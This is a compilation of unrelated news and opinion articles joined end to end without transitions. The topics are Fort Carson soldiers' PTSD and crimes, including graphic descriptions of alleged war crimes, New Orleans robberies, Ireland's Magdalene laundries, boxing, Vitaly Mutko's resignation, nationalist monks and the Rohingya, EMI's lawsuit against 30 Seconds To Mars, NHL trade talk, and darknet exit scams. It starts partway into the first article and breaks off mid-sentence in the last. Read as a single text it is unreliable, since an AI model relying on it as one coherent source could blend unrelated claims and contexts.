Colorado Springs Gazette has a two-part series, "Casualties of War, Part I" and "Casualties of War, Part II," detailing the crimes committed by Fort Carson soldiers, including interviews with soldiers. Salon.com's Mark Benjamin has done some of the best writing about the Army's neglect of soldiers' mental health problems and the consequences in "Coming Home: The Army's Fatal Neglect." The 2008 Rand Corporation study "Invisible Wounds of War: Psychological and Cognitive Injuries, Their Consequences and Services to Assist Recovery," details the levels of untreated post-traumatic stress among veterans of Iraq and Afghanistan.  Last month, the Army released the results of that study, which admits that combat stress and mental health issues, combined with substance abuse problems, contributed to the violence. Soldiers who see more combat and have more of their comrades killed may be more likely to find trouble when they come home, the study said.  The investigation suggested "a possible association between increasing levels of combat exposure and risk for negative behavioral outcomes" and stated that its "findings are consistent with recent research on combat exposure and subsequent behavior outcomes among soldiers."  In other words, this kind of violence is what can happen when the war comes home.  Yet despite the findings of its own study, the military predictably downplayed the effects of war on soldiers' behavior. Army Surgeon General Lt. Gen. Eric Schoomaker stressed, for example, that the Army was unable to identify any "single factor or grouping of factors" to explain the cluster of violent crimes committed at Fort Carson since 2005.  According to the Pentagon's American Forces Press Service: "The study did not reveal any one single cause, but rather a comprehensive list of individual predisposing factors, such as prior criminal behavior, drug or alcohol abuse, prior behavioral issues and barriers to seeking behavioral health care."  "INDIVIDUAL PREDISPOSING factors" is the military's polite way of saying that it shouldn't be held responsible for the breakdown and trauma suffered by soldiers--or the violence they commit as a result. Certain factors--like combat--may have acted as stressors, according to the study, but the core problem is always with the individual soldiers, as far as the Pentagon is concerned.  This has become a common line from the military. Soldiers back from Iraq who suffer from post-traumatic stress disorder (PTSD) report being told that their psychological conditions were "pre-existing"--in what many claim is an effort by the government to refuse paying for treatment.  According to official army statistics, the number of U.S. service members wounded in Iraq is 31,000, but others estimates put the real number at least three times higher. The statistics don't include traumatic brain injuries that often go undiagnosed, or cases of PTSD that the military denies--instead attributing cases of depression, anxiety disorders, inability to concentrate and night terrors to pre-existing "personality disorders," a designation that will follow soldiers around for the rest of their lives (and can prevent them, ironically, from getting VA benefits and treatment).  A soldier may have been well enough to get into the military and be sent into battle (often multiple times). But once they're ready to be discharged and are experiencing symptoms of PTSD or other behavioral problems, the military often "discovers" they had an underlying mental illness or disorder that should have disqualified them from service in the first place--leaving them potentially ineligible for benefits at the time they need help the most.  According to "Invisible Wounds of War: Psychological and Cognitive Injuries, Their Consequences and Services to Assist Recovery," a study of troops released by the Rand Corporation last year, some 300,000 U.S. troops are suffering from major depression or post traumatic stress from serving in the wars in Iraq and Afghanistan, and 320,000 suffered brain injuries.  Yet only 43 percent reported ever being evaluated by a physician for their head injuries. And only 53 percent of service members with PTSD or depression had sought help during the year prior to the study.  As Salon.com reporter Mark Benjamin--whose excellent series "Coming Home: The Army's Fatal Neglect" detailed the downward spiral of several Fort Carson soldiers accused of committing violent crimes--noted, the Army's claims that there was no direct "cause" for stateside violence has a perverse rationale. "Without causation, there is no way to establish how the murders could've been prevented," Benjamin wrote. "Without causation, there is also limited accountability."  Incredibly, Army officials even seemed to blame soldiers themselves for not seeking help, saying for example that soldiers in the 3rd Brigade were more willing to ask for care for their "emerging behavioral health problems--alcohol and drug problems" as opposed to the members of the 4th Brigade (the unit of the majority of those who are accused of committing violent acts).  Yet as Mark Benjamin pointed out, Schoomaker "also claimed that the experiences of the 4th and 3rd Brigades in combat were 'similar.' That's not what's indicated in the report--the 4th Brigade, where the murder suspects were clustered, had eight times more combat deaths than the 3rd. Moreover, the report indicated that the Army itself played a role in denying care to the soldiers--half, some with suicide issues, were sent back to Iraq 'early,' according to the report."  DESPITE THE military's conclusions, soldiers and their families have a different story to tell about the role their experiences in combat played in shaping their actions after the war.  Anthony Marquez told the Gazette that his combat experience made him predisposed to commit murder. "If I was just a guy off the street, I might have hesitated to shoot," Marquez told the Gazette in an interview from the Bent County Correctional Facility, where he is currently serving a 30-year prison term. "But after Iraq, it was just natural."  Kenneth Eastridge, an infantry specialist who served two tours in Iraq and has nearly 80 "confirmed kills"--and who is now serving 10 years in prison for accessory to murder--had a similar story to tell in an interview with the Associated Press. "The Army pounds it into your head until it is instinct: Kill everybody, kill everybody," he said. "And you do. Then they just think you can just come home and turn it off."  As the Associated Press noted:  Both [Marquez and Eastridge] were wounded, sent back into action and saw friends and officers killed in their first deployment. On numerous occasions, explosions shredded the bodies of civilians, others were slain in sectarian violence--and the unit had to bag the bodies. "Guys with drill bits in their eyes," Eastridge said. "Guys with nails in their heads."  And in addition to these horrors, some of the Fort Carson soldiers say they witnessed or participated in acts of brutality, including the murder of civilians and other war crimes.  Anthony Marquez, for example, described the killing of an Iraqi boy to the Denver Post in 2007:  He remembers the car advancing toward a checkpoint. "I was the gunner on the Humvee. I told my sergeant I was going to give them a warning shot, and I shot some warning rounds. We didn't know what it was, so I had to take the car out," Marquez said. He killed the driver, an old man, and a child who was about 11.  Soldier John Needham, who allegedly beat a woman to death in 2008, had, according to his father, repeatedly tried to get treatment for his post-traumatic stress disorder.  In a December 2007 letter to the Inspector General's Office of Fort Carson, Needham--who earned a Purple Heart in Iraq--detailed a list of alleged war crimes committed by members of his unit in Iraq, including commanding officers.  In one instance, an Iraqi was shot "without cause or provocation" by a staff sergeant. When a private asked to administer first aid to the man, Needham said he was told no, and to "let him bleed out." In another instance, Needham says an Iraqi man was killed despite the fact that the unit had no evidence that he was an insurgent or terrorist. He wrote:  Although I did not personally witness the killing, I did observe [REDACTED] dismembering the body and parading of it while it was tied to the hood of a Humvee around the Muhalla neighborhood, while the interpreter blared out warnings in Arabic over the loudspeaker. I have a photo that shows [REDACTED] removing the victim's brains.  The list of atrocities continues, with Needham describing at least one point-blank execution of an injured Iraqi, and the shooting of an Iraqi teenager riding his bicycle down the street. As Needham noted in his letter, "My experiences have taken a terrible toll on me. I suffer from PTSD and depression. I had no way to stop the ugly actions of my unit. When I refused to participate, they began to abuse and harass me."  According to the Associated Press, the Army's criminal investigation division interviewed unit soldiers but said it couldn't substantiate the allegations that Needham had made.  According to Salon.com's Mark Benjamin and Michael de Yoanna, Needham:  brought home photos from the spring and summer of 2007 that showed the gore he saw with the 2-12. One picture showed a dead body, still dressed in traditional Iraqi clothing, with a rotting skull for a head. Another picture showed an Iraqi with the top part of his head blown off, covered in blood, eyes open, his body placed in a black bag alongside his brains... While still in Iraq, Needham sought help. He wrote to his father that he saw a doctor and was given a small handful of Zoloft pills, which treat depression and anxiety, and Ambien for sleeplessness. It didn't seem to work. "I'm stressed out to the point of completely losing it," Needham later wrote in an e-mail to his father. "The squad leader brushed me off and said suck it up."  IN 2007, while still in Iraq, Needham attempted to shoot himself in the head--he was prevented by a comrade who knocked the gun away. Yet despite his suicide attempt, he was never sent for a psychiatric evaluation. Instead, he was punished--confined for more than two weeks and told that he could face charges and possible time in military prison for illegal discharge of a weapon.  "After he tried to kill himself, they said he was a criminal," John Needham's father, Mike Needham, told Benjamin and de Yoanna. "I couldn't believe it. I called his commander to try to say that John might be suffering from combat stress. I offered him literature. [Lt. Col. Michael] told me John deserved to be in military prison. When I argued, he said, 'Fuck off,' and hung up the phone."  After Mike Needham intervened for his son, asking Fort Carson's inspector general for help, John Needham finally received treatment and a diagnosis of PTSD and depression. After being released from Walter Reed Army Hospital, he was sent back to Fort Carson where, according to his father, he faced abuse, which he recorded in notes he kept about his treatment. According to Benjamin and de Yoanna:  On November 16, 2007, Needham, still wondering if he'd face charges stemming from his suicide attempt in Iraq, wrote in black pen that he felt drowsy and laid his head on a desk. According to Needham's notes, a staff sergeant found him there and yelled, "This is no time to sleep." The sergeant then threatened Needham, saying, "I will break your fucking face." Needham told the sergeant to go ahead. The sergeant closed in, inches from Needham's face, and "called me a pussy and a scared little kid," Needham wrote.  Weeks later, after receiving an official transfer to the Naval Medical Center in San Diego, according to Benjamin and de Yoanna, John Needham was "charged with 'patterns of misconduct' for failing to appear in formation, insubordination to superiors, and other problems. To Mike Needham, it seemed like the Army, which had acknowledged that John had PTSD, was now punishing his son for displaying the symptoms."  His family was unable to get John the intensive help he was in need of and, within two months of his honorable discharge, John Needham attacked police at his home--while nude and drunk. In another room, the police found 19-year-old Jacqwelyn Villagomez, who had been severely beaten. She later died.  Needham's family believes he had a post-traumatic flashback, and lost control. He is currently on bail as he awaits trial and is receiving inpatient treatment at a VA facility.  Needham's case is just one of many caused by the military's turning soldiers into the human equivalent of loaded weapons--and then failing to help them deal with mental health and other health problems, as well as the transition back to civilian life.  As the violence of Fort Carson soldiers shows, the Army doesn't only have blood on its hands for the civilians injured and murdered in Iraq and Afghanistan. It is responsible for the deaths and ruined lives of soldiers driven past the breaking point--and civilians back at home unlucky enough to be caught in the crossfire.
-Advertisement 8 people robbed at gunpoint in five separate holdups in New Orleans Share Shares Copy Link Copy  Eight people fell victim to armed gunmen Friday into Saturday morning in five separate robberies that were reported in different areas of New Orleans. New Orleans police said the armed robberies were reported between 10:30 a.m. Friday and 4 a.m. Saturday in areas including the Upper Ninth Ward and Gentilly. The first robbery was reported just before 10:30 a.m. in the 1100 block of Louisa Street. Police said a 32-year-old man was approached by two or three men who struck him several times with a gun. The robbers took the victim's bicycle and money before leaving. Officials said the second robbery was reported after 2 p.m. in the 5100 block of Arts Street. The victim, a 19-year-old man, was robbed at gunpoint by two people whom police said he knows. The third robbery was reported after 5:30 p.m. in the 6000 block of Wildair Drive. Detectives said two men and a woman were in a vehicle when three men surrounded them. One of the culprits took out a gun and demanded their property. Police said the victims complied and the men left in a vehicle. Over near Delgado Community College, officials said the fourth robbery was reported just after 1:30 a.m. in the 5400 block of Vicksburg Street. Two men with guns approached a 47-year-old man who was sitting on his front porch. Detectives said the man demanded the victim's belongings. The man brought both men inside his home to get his money. Once the robbers were inside, the two met met with another man and demanded his money. Both robbers left the home with items that belonged to the two men, police said. The fifth robbery was reported just after 4 a.m. in the 1800 block of Henriette Delille Street. Detectives said a 57-year-old man was approached by two men, one of whom struck him in the head with a blunt object and demanded his property. Officials said the victim complied and the two robbers left with his bicycle and other property. Additional details about the robberies have not been released. Detectives have not provided descriptions of the robbers. Anyone with information is asked to call Crimestoppers at 504-822-1111. Keep up with local news, weather and current events with the WDSU app here. Sign up for our email newsletters to get breaking news right in your inbox. Click here to sign up!
-Twenty years ago, shock washed over Ireland. After the Catholic Church sold a parcel of a North Dublin convent’s grounds to a commercial developer, and the construction dig began, 155 bodies were discovered in unmarked graves. The place had been a Magdalene asylum for “wayward girls.” Apparently, inmates who met an early end had been buried in secret — many without a death certificate, without notification of parents or other family, and all without the dignity of even the simplest grave marker.  Initially conceived as rehabilitation centers for prostitutes, the Magdalene asylums — also known as the Magdalene Laundries for the “women’s work” slave labor expected of the residents — eventually grew into houses of horror. The girls, some not even teens, were forced to work seven days a week without pay. The short-term treatment intended by the founders eventually gave way to long-term incarceration. Though conditions varied from one asylum to the next, a strict code of silence was in place for most of the day throughout the Magdalene system. Long prayer sessions were mandatory.  Worse, for over a hundred years, beatings and sexual abuse are thought to have been endemic.  And you didn’t have to be a sex worker to “qualify” to be saved by God’s representatives on Earth. By the 1870s, asylum candidates  … extended beyond prostitutes to unmarried mothers, mentally retarded women and abused girls. Even young girls who were considered too promiscuous and flirtatious, or too beautiful, were sent to an asylum by their families.  Others reportedly ended up in a Magdalene asylum for being “slow learners.” They might never receive a lick of non-religious education again. The nuns were known to forge “school reports” and send those to the girls’ relatives, to conceal that their charges had been turned into slave laborers.  Recalls one former resident:  “We never saw daylight or heard music, and it was normal for girls to fall ill and never be seen again. Sometimes, we used massive industrial irons to press sheets for local hotels. They were raging hot and you had to concentrate hard to make sure your hands didn’t get caught. The steam nearly took your skin off. In the end we got used to getting burned — it was part of everyday life.”  If it didn’t take much to be sent to one of these hellholes, getting out wasn’t so easy.  Without a family member on the outside who could vouch for them, many incarcerated individuals stayed in the asylums for the rest of their lives, many taking religious vows. Given Ireland’s historically conservative sexual values, Magdalene asylums were a generally accepted social institution until well into the second half of the twentieth century. They disappeared with changes in sexual mores — or, as [historian Frances] Finnegan suggests, as they ceased to be profitable: “Possibly the advent of the washing machine has been as instrumental in closing these laundries as have changing attitudes.”  Those 155 bodies? After they were discovered, in early 1993, they were cremated quickly, and reburied in a mass grave. That raised a lot of suspicion. Why weren’t forensic investigators allowed to work the scene? What were the Church and the civil authorities hiding?  The latter, at least, are now offering an apology to all the Magdalene survivors — as well as a financial olive branch. That’s because the Irish state was complicit in the scandal, having botched its oversight and having profited from the girls who worked the laundries washing and repairing prison uniforms and the like.  Ireland will pay several hundred former residents of Catholic-run Magdalene laundries at least 34.5 million euros ($45 million) to compensate them for their years of unpaid labor and public shame, the government announced Wednesday following a decade-long campaign by former residents of the workhouses. Justice Minister Alan Shatter apologized to the women — an estimated 770 survivors out of more than 10,000 who lived in the dozen facilities from the 1920s to 1996 — that it had taken so long for them to receive compensation. The move marked the latest step in a two-decade effort by Ireland to investigate and redress the human rights abuses in Catholic institutions.  The women will also qualify for state-funded pensions and free medical care.  Not all of them think that’s enough contrition — or enough money. Maureen Sullivan, who co-founded Magdalene Survivors Together, says that justice is still not being served.  “I was 12 years of age — I was a child. My education was taken from me, my identity was taken from me. We [had] no outside communication, our letters were checked. … We had no play time. All that was taken from us and none of that has been taken into consideration, and I think that’s what we’re annoyed about.”  Ireland’s Catholic Church, meanwhile, continues to wash its hands of the affair.  The Irish government has at last made a serious gesture. The Church could show it has a conscience after all by doing the same.  P.S. If you want a haunt-your-dreams glimpse of what life was like in the Magdalene Laundries, get your hands on a copy of The Magdalene Sisters, the critically acclaimed movie by Peter Mullan. Highly recommended.  (Images via the Sun)
-By Edward Chaykovsky  Back in 2012, Paul Williams was scheduled to face Saul "Canelo" Alvarez in the main event of a Showtime Pay-Per-View on September 15th of that year at the MGM Grand in Las Vegas. But then tragically, a few months before the fight, Williams was severely injured during a motorcycle accident and he was paralyzed from the waist down.  There were several replacements who fell through before Josesito Lopez was placed in and destroyed in five rounds. At the time Williams was viewed as a very big step up in class for Canelo and there were some experts who were picking him to get an upset win. Williams strongly believes he would have won the fight if it would have happened.  "Of course I would have beaten him! Nothing against his skills but like Floyd said, 'he’s never been tested.' I was gonna be that guy that was gonna be in his face the whole night. I would be getting my punches in, I know he would be getting his in and he was gonna hit me with good shots but he wasn’t gonna knock me out," Williams told On The Ropes Boxing Radio.  "If it would have gone the twelve rounds, I was gonna get it. Other than knocking me out, he wasn’t gonna get it. They know my fighting style but I look at it like it was probably a blessing for me to go down on that motorcycle because say if I would have taken that fight with him, I know I would have won but I would have been taking punches like I always took punches and I thought I could have been brain dead. I could have been messed up, talking all kind of crazy. So I thank God and it is what it is."
-FILE In this file photo taken on Thursday, Dec. 7, 2017, Vitaly Mutko, Russian Federation Deputy Prime Minister & Russia 2018 WCup Local Organising Committee Chairman, speaks with press during the opening of the WCup Fan ID distribution center in Moscow, Russia.Vitaly Mutko, a Russian government official who has been dogged by allegations of involvement in doping, has temporarily stepped down as president of the Russian Football Union, a move apparently intended to deflect international criticism as Russia prepares to host the 2018 World Cup. (AP Photo/Pavel Golovkin, File)  MOSCOW (AP) — Vitaly Mutko bowed to mounting pressure and stepped down as chairman of the 2018 World Cup organizing committee on Wednesday after being dogged by investigations that highlighted his role in a state-backed doping program.  Alexei Sorokin, the chief executive of the committee, will also assume the chairmanship vacated by Mutko. Sorokin also took Mutko’s spot on the FIFA Council this year after he was blocked from seeking re-election due to his promotion to Russian deputy prime minister.  The high-ranking government position ensures Mutko will still retain involvement in logistical planning for the World Cup in June and July.  “Mutko will continue to oversee the preparations of the regions as well as coordinate the construction of the necessary infrastructure,” the organizing committee said in a statement that expressed “great regret” over his departure.  Mutko’s resignation comes two days after he said he would temporarily step down as president of the Russian Football Union while fighting a lifetime ban from the Olympics.  Investigations by the World Anti-Doping Agency and the International Olympic Committee alleged Mutko was involved in a state-sponsored doping program during the 2014 Sochi Olympics. Mutko, who served as Russia’s sports minister during the Winter Olympics, has strongly denied all doping allegations.  The IOC didn’t accuse Mutko of being personally involved in doping, but banned him from the Olympics for life, saying he and his ministry bore overall responsibility for “failure to respect” anti-doping rules.  Mutko had been defiant at the World Cup draw in Moscow this month, dismissing calls for him to leave his role as front-man of the tournament.  FIFA, which has faced calls to open disciplinary proceedings against Mutko, did not mention the doping cases in a statement acknowledging the resignation.  “FIFA thanks Mr. Mutko for his invaluable contribution to the preparations for the competition so far,” the governing body said. “FIFA will continue to work in close collaboration with the LOC (local organizing committee) under its new leadership as well as with the Russian government, the Russian Football Union and the host cities with the aim to deliver an exceptional event in June and July.”  Russia opens the World Cup against Saudi Arabia on June 14 in Moscow where the final will be staged on July 15.  “The change in the leadership ... will not affect the preparation of the 2018 FIFA World Cup,” local organizers said.  ___  Nataliya Vasilyeva in Moscow and Rob Harris in London contributed to this report.
-Home > Issues  This is racism, not Buddhism by Sanitsuda Ekachai, The Bangkok Post, Sept 5, 2012 Bangkok, Thailand -- How do you feel when you see rows of stern-looking Buddhist monks marching through the streets in full force to call for violent treatment of the downtrodden? << Myanmar Buddhist monks rally on the streets of Mandalay (AFP) That was what thousands of Myanmar monks did when they took to the streets in temple-studded Mandalay on Sunday to support the government's brutal persecution of stateless Muslim Rohingya. What were they thinking? The world is full of injustice. But isn't it the business of monks to advise against it, and not to be supportive of any form of prejudice and human cruelty? Aren't empathy and non-exploitation the key words in Buddhism? Aren't monks supposed to devote their lives to deepening spiritual practice in order to see through the different layers of we-they prejudice so that compassion prevails in their hearts, words, and actions? Many people outside Myanmar were asking these questions because the anti-Rohingya monks were the same ones who dared challenge the government in 2007 to champion the people's cause, and who themselves faced a violent crackdown by the military junta. If the Buddha's words were not important to them when they took to the streets, then what was? The answer is quite simple - racist nationalism. The monks do want justice for people, but just for their own kind. As part of the dominant ethnic Bama Buddhists, they believe deeply the dark-skinned Rohingya are illegal immigrants from Bangladesh, aggressive outsiders who will steal land from the Buddhist folk. The monks therefore feel that it is just to support the government to eliminate the perceived threats to their motherland, their ethnicity, and their religion. Call it patriotism, ultra-nationalism, ethnic prejudice, or racism. Whichever the label, it is mired in the we-they prejudice that divides people, fosters hatred, and triggers violence - everything Buddhism cautions against. But should people who live in glass houses throw stones? Our monks may still stop short of marching in the streets to call for the elimination of Malay Muslim separatists, but they have done so several times to call for a law which will help them retain supremacy over other religions. Every time I cover their Buddhism-for-national-religion campaigns, I never fail to hear their deep suspicions of Islam. Meanwhile, bombs have blasted and killed people for eight years running in the restive South, yet we never hear our monks mentioning any concern about justice for the locals, nor for the need to open political space for Malay Muslims to voice their needs, address inequalities, and to extinguish the root causes of ethnic frustration and violence. Instead, we see monks taking the defensive and dangerous route of ordaining soldiers to increase their number while allowing temples to be used as barracks. Like their peers in Myanmar, our monks are in full support of the military to maintain the supremacy of the Buddhist majority. If violence must be used in this suppression, so be it. But Thailand is also witnessing a rapid growth of lay Buddhism which focuses on meditation retreats and core Buddhist teachings. Can this movement act as a voice of sensibility when the country is mired in political divisiveness? If that's your expectation, be prepared to be disappointed. For its members, too, generally share the belief that the elimination of perceived threats is necessary, like the need to eliminate germs and diseases to restore one's health. When this is your mindset - left or right, red or yellow, pro-or anti-establishment - you'll believe the use of hate speech, half truths, and violence by your camp is perfectly all right. No, we are not Buddhists. We may pray to the Buddha and close our eyes to meditate, but what shapes our thoughts, words, and actions is ideological extremism of all different shades. The Buddha's path leads to peaceful co-existence and sharing. Ideological extremism leads to control, suppression, and winner-takes-all. If left to fester, ideological extremism and race-based nationalism will breed more violence. The country's goal of regional integration will be sheer nonsense. And for both monks and lay Buddhists, all those longs hours of meditation will be simply wasted.
-EMI/Virgin Records Sues Platinum Selling Band For $30 Million... Despite Not Paying Them A Dime In Royalties  from the the-music-business-at-work dept  If you think the fact that we have sold in excess of 2 million records and have never been paid a penny is pretty unbelievable, well, so do we. And the fact that EMI informed us that not only aren't they going to pay us AT ALL but that we are still 1.4 million dollars in debt to them is even crazier. That the next record we make will be used to pay off that old supposed debt just makes you start wondering what is going on. Shouldn't a record company be able to turn a profit from selling that many records? Or, at the very least, break even? We think so.  It's always fun to remember stories like the following one the next time you hear some RIAA exec claim that it represents musicians. The RIAA represents the record labels and record labels are continually at odds with musicians -- sometimes to extreme levels. Wired reported that EMI/Virgin Records had sued the band 30 Seconds To Mars for $30 million recently. The band is apparently fronted by movie star Jared Leto, and is considered something of a success. Its last album went platinum and won some awards. So why the lawsuit? Well, EMI implied that the band failed to deliver its latest record on time, but members of the band have now responded with a very different story. Wired now points us to the response from 30 Seconds To Mars , where the band notes that the lawsuit appears to have a lot more to do with the band opting out of its contract. The band points out that, under California law, a contract of more than seven years is not valid -- and the contract EMI held with the band was for nine years.So why opt out? Perhaps this has something to do with it:This is, of course, rather par for the course in the recording industry. As Courtney Love explained years ago , it's quite rare for a recording artist to ever see a dime of royalties from selling music. The label gives the band an "advance" which really isn't that much, and then uses some funky accounting tricks to claim all of the band's royalties as paying off that advance as well as covering other fees involved in the marketing and distribution of the album. In this case, apparently, despite selling 2 million records, EMI is still claiming that the band has $1.4 million to pay back. Not so long ago, we noted that Lyle Lovett was in the same boat : 4.6 million albums sold, no royalties paid.So, at what point will the press and politicians stop buying the RIAA's claims that it's looking out for the musicians and trying to get them paid? The RIAA has always been in the business ofpaying musicians.  Filed Under: 30 seconds to mars, advances, contracts, jared leto, music, royalties  Companies: emi, virgin records
-Trade talk is finally on the uptick in the NHL, several GMs told ESPN.com Saturday, but there still is the sense most transactions will drag out until closer to the Feb. 28 deadline. As always.  "The chatter has picked up tremendously," a Western Conference GM told ESPN.com Saturday.  Ottawa is a good place to start. Sens GM Bryan Murray will be as busy as any of his peers as he attempts to bring change to a roster that has greatly disappointed this season.  Center Mike Fisher, signed through 2012-13 at a $4.2 million cap hit, is a popular name when other teams phone the Senators these days. His no-movement clause expired last summer, so the Sens are free to deal him. They aren't shopping him, but other teams sure are interested. It would take a pretty good offer to move him. But he's not an untouchable. I believe the Nashville Predators are among the many teams that covet Fisher.  The most obvious player to move is Chris Phillips, a UFA July 1. Phillips and Murray have recently chatted, the GM asking the veteran defenseman to get back to him by the end of next week on whether he'd waive his no-trade clause. Montreal and Boston are among several teams that have shown interest, league sources told ESPN.com. The Habs make sense for him because his family wouldn't even have to move for now with the Canadiens just 90 minutes down the highway. The Bruins have obvious connections with former Senators teammate Zdeno Chara and GM (and former Sens executive) Peter Chiarelli.  Emery's comeback  Expect to see Ray Emery sign a one-year, two-way deal Sunday or Monday with the Anaheim Ducks. Emery will begin his comeback in the AHL, but to do that, he will need to clear NHL waivers because he's a veteran. He could avoid waivers if the Ducks simply assign him to a two-week conditioning assignment, but everyone involved, most notably Emery, feels he'll need more time than that to get his game back.  Leafs' trade talk heating up  The action on Francois Beauchemin and Kris Versteeg has gone from kicking the tires to legitimately heating up. Beauchemin has a list of 12 teams he'd be willing to move to, although some teams that aren't on the list have called as well, in which case the Leafs would just run it by him if they decide to make one of those deals. Both players have one more year on their respective contracts.  On the Tomas Kaberle front, status quo as of Saturday. There has not been a list of teams handed to Toronto from the Kaberle camp (he's got a no-trade clause). My sense is that Toronto is just going to have to go to him and agent Rick Curran closer to the trade deadline with the best offer they've got and run it by him.  Again, I think Northeast Divisional rivals Boston and Montreal both have interest in Kaberle, as do the New York Rangers, but as one NHL executive told ESPN.com on Saturday, "Any team looking for a top D-man is interested in Kaberle."  Rangers interested in defensemen  The Rangers' power play has consistently struggled (23rd), so a veteran point man such as Kaberle, Bryan McCabe or Sheldon Souray would likely interest the Blueshirts. Each would also provide a veteran presence on a really young Rangers blue line.  McCabe, UFA on July 1, is still injured. He began off-ice workouts last week, and it's still not clear when he'll begin to skate. Florida Panthers GM Dale Tallon, by the way, had preliminary contract discussions with McCabe agent Ian Pulver at the Top Prospects Game last month. The price has to be right for the Panthers. McCabe told ESPN.com at the start of the season that he loves it in South Florida and doesn't want to leave.  Savard's future and Bruins' options  Marc Savard was scheduled to meet with agent Larry Kelly on Saturday night to discuss his future. Kelly also met with Chiarelli before Saturday's game. In all likelihood, Savard is going to be shut down for the season. You have to feel for the guy with everything he's gone through.  So what now for the Bruins? They've got major cap savings to spend. I'm told they'll be on the lookout for both a defenseman and a forward.  As mentioned above, Phillips is of interest. Kaberle would interest them as well, as would Versteeg. But Boston is looking at many options at this point.  Oilers put high price on Penner, Hemsky  The Oilers are not desperate to deal Dustin Penner or Ales Hemsky (both of whom have one more year on their deals), but as one opposing GM told ESPN.com on Friday, "Believe me, those two guys are in play, but right now they're asking for too much."  My sense is that the Oil will only move them if they really like what's offered. No urgency to move them.  Red Wings' goalie situation  The Red Wings are 19th in goals against, strange territory for them, and given their failed pursuit of Evgeni Nabokov, the question many Detroit fans have asked in cyberspace is whether GM Ken Holland will try for another goalie given the struggles of Jimmy Howard and the injury to Chris Osgood.  "At this time, unless I get bad news on the rehab front between now and the deadline on Chris Osgood, I'm not looking to do anything in goal," Holland told ESPN.com Friday.  "Jimmy Howard was a Calder Trophy nominee last year. The last month we haven't played well defensively. We know we have to play better defense. We've also been able to score a lot of goals and maybe that's why we haven't always buckled down. But long-term, that's not a winning a formula."  As for the impression Detroit wanted to upgrade in goal with its pursuit of Nabokov?  "We took an opportunity with Nabokov for a variety of reasons," said Holland. "A major reason was that he was prepared to do a cap number ($570,000) that would allow us to carry three goalies after March 1. He was UFA, there were no assets I had to give up. He was a Vezina runner-up in 2008. Last year he took his team to the final four. It was a combination of things. It was a unique opportunity. The rest is history. He belongs to the New York Islanders."  Jagr would consider NHL return  Had a chance to catch up with Jaromir Jag after his team's 18-16 win in the KHL All-Star Game on Saturday, in which Jagr netted a hat trick.  I told him he's got lots of people back in North America who miss having him around.  "I miss you guys too," Jagr said with his trademark laugh. "It was a great run for me there."  He added that he's having a blast in the KHL, especially this season with Avangard Omk leading the standings.  It just so happens, however, that Jagr has options after this season.  "Yes, I'm a free agent after the season," Jagr told ESPN.com. "I want to finish season here and then think about what I'm doing next. But right now our team is doing really well, we're first overall in the league. We have a pretty good chance to do something good and that's why I'm really excited, although you never know what can happen in the playoffs."  But, I pressed on, what if an NHL team called next summer?  "If I had a chance to join a team that has a chance to win, maybe I'd think about it," Jagr said. "I'd like to go on a team that has a chance to win the Stanley Cup or at least get into the playoffs and go far. I'd like just to help a team like that on the second or third line."  Jagr turns 39 on Feb. 15. Are the legs getting heavy?  "I actually feel better now than I did my last year in the NHL," said Jagr. "More skating here on the big ice. I don't feel my age."  Heritage Classic to top Winter Classic?  With all due respect to my pal Scott Burnside who considers the Heritage Classic the ugly Canadian stepchild of the Winter Classic, here's something that might raise a few eyebrows.  "Sponsorship on this game is going to surpass even the Winter Classic to give you a sense of the size of this thing," NHL COO John Collins told ESPN.com Friday. "And the Winter Classic was a beast."  Iconic Canadian brands such as Tim Horton's and Canadian Tire have jumped on board with guns a blazing as have other companies for the Feb. 20 Montreal-Calgary game at McMahon Stadium. The gate revenue won't be as much because there aren't as many seats in the CFL stadium compared to Heinz Field. But the corporate base has really jumped on board.  "To really make the model work in these less than NFL or big-time baseball stadiums, sponsorships needs to really carry the day," said Collins, the mastermind behind the Winter Classic. "I think the size of the sponsorship market and also the activation by the sponsors is going to be even bigger than the Winter Classic."  From a business perspective, that's why it was no-brainer for the NHL to extend itself with two outdoor games. Still, the question remains whether or not having two games will dilute the product. Not to mention the fact there are only six Canadian NHL teams, so that means lots of repeat performances by the same six clubs in the Heritage Classic? Or maybe not ...  "I always resist the idea that the Winter Classic is a U.S.-only event, similarly now I'm going to resist the fact that the Heritage is just a Canadian event," Collins said. "At the end of the day, these events should appeal to all hockey fans."  To be clear, I asked Collins if he was talking about maybe putting Canadian teams in the odd Winter Classic and maybe an American team in the odd Heritage Classic?  "We're always kicking around everything," Collins said. "That's the fun part of this gig, to be creative. This is a league that's taking risks and pushing the envelope."  The fact is, the future of these outdoor games will depend greatly on the next U.S. TV deal. Once the U.S. TV deal is in place, it allows for a more concrete discussion of where these outdoor games are headed.
-Once upon a time, transactions between people were more or less done in person. The druggist you bought methamphetamine from at the pharmacy (yes, meth) had a name and a face. The chap you bought a car from had a name and a face, too. So did the florist, grocer, doctor, mechanic, and everyone else you might transact with.  This gave rise to a reputation system, and reputations work pretty well at discouraging people from cheating one another. After all, if you cheat one customer, she'll tell all her friends. And those friends might tell their friends. Your business will suffer. The potential losses make it foolish to even consider cheating a customer.  But what if you could run a business, and never reveal either your face or your name? What if the profits of cheating a whole bunch of customers in one shot outweighed the profits of honestly serving them over time? This can only happen if no one knows your face or name – in other words, if you don't have to worry about your reputation.  And this is what the Internet has given us – the opportunity to facelessly and namelessly conduct business. Without personal reputation. And though the ability has been a blessing in some ways, it's been a curse in others.  The recent and massive exit scam at the online market Evolution – in which the site's founders made off with US$12 million of their customers' bitcoins – is just one of several similar examples. Each sad story further suggests that this problem won't go away on its own.  Not without the complete elimination of third parties from the Internet.  But what about multisig?  There has been a novel attempt at a solution in the advent of Bitcoin multisignature transactions. “Multisig”, as it's called, creates a sort of escrow situation in which funds cannot be moved without two of three signatures from buyer, seller, and escrow agent.  But this doesn't eliminate the problem of untrustworthiness in a third party (the escrow agent). If a bad actor, the agent could collude with the seller to split the funds without shipping the product to the buyer. Or he could refuse to sign the transaction entirely, leaving the buyer and seller to sort things out themselves. If the buyer and seller can never agree, the funds will remain frozen indefinitely.  The disgraced Evolution marketplace offered multisignature transactions, but not many customers used them. Even if they had, they'd still have been subject to all the aforementioned risks.  If third parties can't be trusted – and as long as you're talking about humans, they can't – how can you confidently buy and sell online?  Losses: can't be eliminated, but can be minimized  OpenBazaar, a decentralized protocol for buying and selling, is an example of a commerce solution that eliminates third parties. Its developers recently published these five benefits they believe will come from a complete decentralization of online commerce:  Markets are persistent. There’s no central point of control that can be taken down, either by outside actors or internal ones. Funds aren’t centrally controlled. There’s no central authority to trust and no jackpot to steal. Individuals control their funds directly and likely use multisig for 